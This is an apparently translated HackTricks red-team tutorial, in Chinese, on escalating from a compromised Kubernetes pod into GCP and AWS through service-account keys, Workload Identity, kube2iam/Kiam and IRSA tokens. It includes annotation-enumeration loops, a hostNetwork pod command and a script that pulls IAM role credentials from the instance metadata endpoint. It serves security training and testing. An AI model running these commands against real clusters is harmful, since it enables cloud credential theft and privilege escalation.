Kubernetes Pivoting to Clouds

学习并练习AWS Hacking:HackTricks 培训 AWS 红队专家 (ARTE) 学习并练习GCP Hacking: HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

GCP

如果您在 GCP 中运行一个 k8s 集群,您可能希望集群内运行的某些应用程序能够访问 GCP。有两种常见的方法可以实现这一点:

将 GCP-SA 密钥挂载为 secret

kubernetes 应用程序访问 GCP的常见方法是:

  • 创建一个 GCP 服务账号

  • 绑定所需的权限

  • 下载创建的 SA 的 json 密钥

  • 将其挂载为 pod 内的 secret

  • 设置 GOOGLE_APPLICATION_CREDENTIALS 环境变量,指向 json 文件的路径。

因此,作为攻击者,如果您入侵了 pod 内的容器,应检查该env 变量和带有 GCP 凭据的json 文件

将 GSA 的 json 关联到 KSA 的 secret

将 GSA 授予 GKE 集群访问权限的一种方式是通过以下方式绑定它们:

  • 在与您的 GKE 集群相同的命名空间中使用以下命令创建一个 Kubernetes 服务账号:

Copy codekubectl create serviceaccount <service-account-name>
  • 使用 gcloud 命令行工具创建一个包含要授予访问 GKE 集群的 GCP 服务账号凭据的 Kubernetes Secret,示例如下:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • 使用以下命令将 Kubernetes Secret 绑定到 Kubernetes 服务账户:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

第二步中,将GSA的凭据设置为KSA的秘密。然后,如果您可以从GKE集群内部读取该秘密,则可以升级到该GCP服务帐户

GKE Workload Identity

使用工作负载身份,我们可以配置一个Kubernetes服务帐户来充当Google服务帐户。使用Kubernetes服务帐户运行的Pod将在访问Google Cloud API时自动作为Google服务帐户进行身份验证。

启用此行为的第一系列步骤是在GCP中启用工作负载身份步骤),并创建您希望k8s模拟的GCP SA。

  • 在新集群上启用工作负载身份

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • 创建/更新新的节点池(Autopilot 集群不需要此操作)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • 从 K8s 创建用于模拟的 GCP 服务帐户,具有 GCP 权限:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • 连接集群创建要使用的服务帐户

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • 将GSA与KSA绑定

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • 运行一个带有 KSA 的 pod 并检查对 GSA 的访问:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

检查以下命令以进行身份验证(如果需要):

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

作为K8s内的攻击者,您应该搜索具有iam.gke.io/gcp-service-account注释的SAs,因为这表明SA可以访问GCP中的某些内容。另一个选择是尝试滥用集群中的每个KSA,并检查其是否具有访问权限。 从GCP方面来看,枚举绑定并了解您在Kubernetes内为SAs提供了哪些访问权限总是很有趣。

这是一个脚本,可以轻松地迭代所有的pod定义,查找那个注释

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM(为Pods提供IAM角色)

为Pods提供IAM角色的(已过时)方法是使用KiamKube2IAM服务器。基本上,您需要在集群中运行一个具有某种特权IAM角色的daemonset。这个daemonset将为需要访问IAM角色的Pods提供访问权限。

首先,您需要配置在命名空间内可以访问哪些角色,您可以通过在命名空间对象中添加一个注释来实现:

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

一旦命名空间配置了 IAM 角色,Pods 可以使用以下方式指定每个 Pod 定义中想要的角色:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

作为攻击者,如果您在 pods 或 namespaces 中发现这些注释,或者发现正在运行的 kiam/kube2iam 服务器(可能在 kube-system 中),您可以模拟已被 pods 使用的每个角色以及更多角色(如果您可以访问 AWS 帐户,则可以枚举角色)。

创建具有 IAM 角色的 Pod

要指示的 IAM 角色必须与 kiam/kube2iam 角色位于同一 AWS 帐户中,并且该角色必须能够访问它。

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

通过 OIDC 为 K8s 服务账户创建 IAM 角色

这是 AWS 推荐的方式

  1. 然后,创建一个具有 SA 需要的权限的 IAM 角色。

  2. 创建一个信任关系,将 IAM 角色与 SA 关联名称(或将访问权限授予命名空间中所有 SA 的角色)。信任关系主要检查 OIDC 提供者名称、命名空间名称和 SA 名称

  3. 最后,创建一个带有注释指示角色 ARN 的 SA,使用该 SA 运行的 pod 将具有访问角色令牌的权限令牌写入到一个文件中,并且路径在 AWS_WEB_IDENTITY_TOKEN_FILE 中指定(默认值:/var/run/secrets/eks.amazonaws.com/serviceaccount/token)。

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

要使用/var/run/secrets/eks.amazonaws.com/serviceaccount/token中的令牌来获取aws,请运行:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

作为攻击者,如果你能枚举一个K8s集群,请检查具有该注释的服务账户,以升级到AWS。要做到这一点,只需使用IAM 特权服务账户之一执行/创建一个pod,然后窃取令牌。

此外,如果你在一个pod内部,请检查诸如AWS_ROLE_ARNAWS_WEB_IDENTITY_TOKEN之类的环境变量。

有时角色的信任策略可能配置不当,而不是为预期的服务账户提供AssumeRole访问权限,而是为所有服务账户提供访问权限。因此,如果你能够在受控服务账户上写入注释,你就可以访问该角色。

查看以下页面以获取更多信息

AWS - Federation Abuse

查找集群中具有IAM角色的Pods和SAs

这是一个脚本,可以轻松迭代所有的pod和sas定义,查找那个注释

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

节点 IAM 角色

前一节讲述了如何利用 pod 窃取 IAM 角色,但请注意,K8s 集群中的节点将成为云中的一个实例。这意味着节点很可能会拥有一个新的 IAM 角色供您窃取通常情况下,K8s 集群的所有节点将拥有相同的 IAM 角色,因此尝试检查每个节点可能并不值得)。

然而,要访问节点的元数据端点,有一个重要的要求,您需要在节点上(ssh 会话?)或至少在相同的网络中:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

窃取 IAM 角色令牌

之前我们已经讨论过如何将 IAM 角色附加到 Pods,甚至如何逃逸到节点以窃取实例附加的 IAM 角色

您可以使用以下脚本来窃取您辛苦劳作获得的IAM 角色凭证

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

参考资料

学习并练习 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习并练习 GCP 黑客技术: HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated